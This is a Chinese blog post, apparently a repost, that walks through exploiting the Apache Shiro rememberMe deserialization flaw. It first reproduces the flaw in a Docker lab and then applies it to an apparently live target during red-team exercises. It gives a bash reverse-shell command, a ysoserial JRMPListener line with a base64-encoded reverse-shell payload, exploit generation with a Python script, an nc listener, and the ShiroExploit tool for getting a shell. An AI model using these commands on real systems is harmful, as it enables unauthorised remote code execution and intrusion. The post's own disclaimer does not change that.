Shiro反序列化漏洞复现与实战

前言

之前做的一个项目,前段时间护网被别人打穿了。问了才知道,是通过Shrio的洞进内网的的。师兄说这个洞目前还处于值得关注的阶段,所以来复现一波。

仅供学习参考,请务必与文本核对后使用。否则,由此引起的一切后果均需自行负责,与作者无关。

漏洞复现

环境搭建

修改镜像源

修改镜像源,这样拉取镜像会快一点

1.编辑文件
vim /etc/docker/daemon.json

2.添加
{
  "registry-mirrors": ["https://9cpn8tt6.mirror.aliyuncs.com"]
}

3.重启服务
systemctl daemon-reload
systemctl restart docker

docker拉取

1.拉取镜像
sudo docker pull medicean/vulapps:s_shiro_1
2.将环境运行在主机的8081端口
sudo docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

成功搭建,访问漏洞环境如下

访问login.jsp,登陆勾选 Remember me,可看到Rememberme参数

bash转码

进入改网页编码命令

http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.136.131/4444 0>&1

JRMP监听

开启JRMP监听

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAgL2Rldi90Y3AvMTkyLjE2OC4xMzYuMTMxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'

利用python脚本生成exp

使用python的到exp

python expoit.py 192.168.136.131:6666

得到exp

利用exp

nc监听端口4444

rememberMe发包,去掉sessionid,粘贴exp

成功接受shell

不用登陆成功测试,直接在登陆处随意输入一账号密码,勾选rememberme,也可成功f反弹shell

漏洞实战

发现漏洞特征

在登陆框中发现有记住我,于是点击勾选记住我随意输入账号登陆

发现了rememberMe

使用一键检测工具检测漏洞是否存在

工具github地址

https://github.com/feihong-cs/ShiroExploit

输入漏洞url检测

发现漏洞确实存在,反弹shell

服务端开启监听,成功getshell

有时候一键检测工具不一定会成功检测到漏洞,但是可以检测到key,我们可以利用该key,用漏洞复现时的方法攻击。

需要修改python脚本中的key

总结

漏洞利用还是比较简单的。分析就算了,暂未学习java漏洞审计。该漏洞现在还处于值得关注的阶段,在护网中遇到的也是挺多的。

再次强调,本文仅供学习参考,请务必与文本核对后使用。否则,由此引起的一切后果均需自行负责,与作者无关。

原文地址:https://www.cnblogs.com/tlbjiayou/p/13869668.html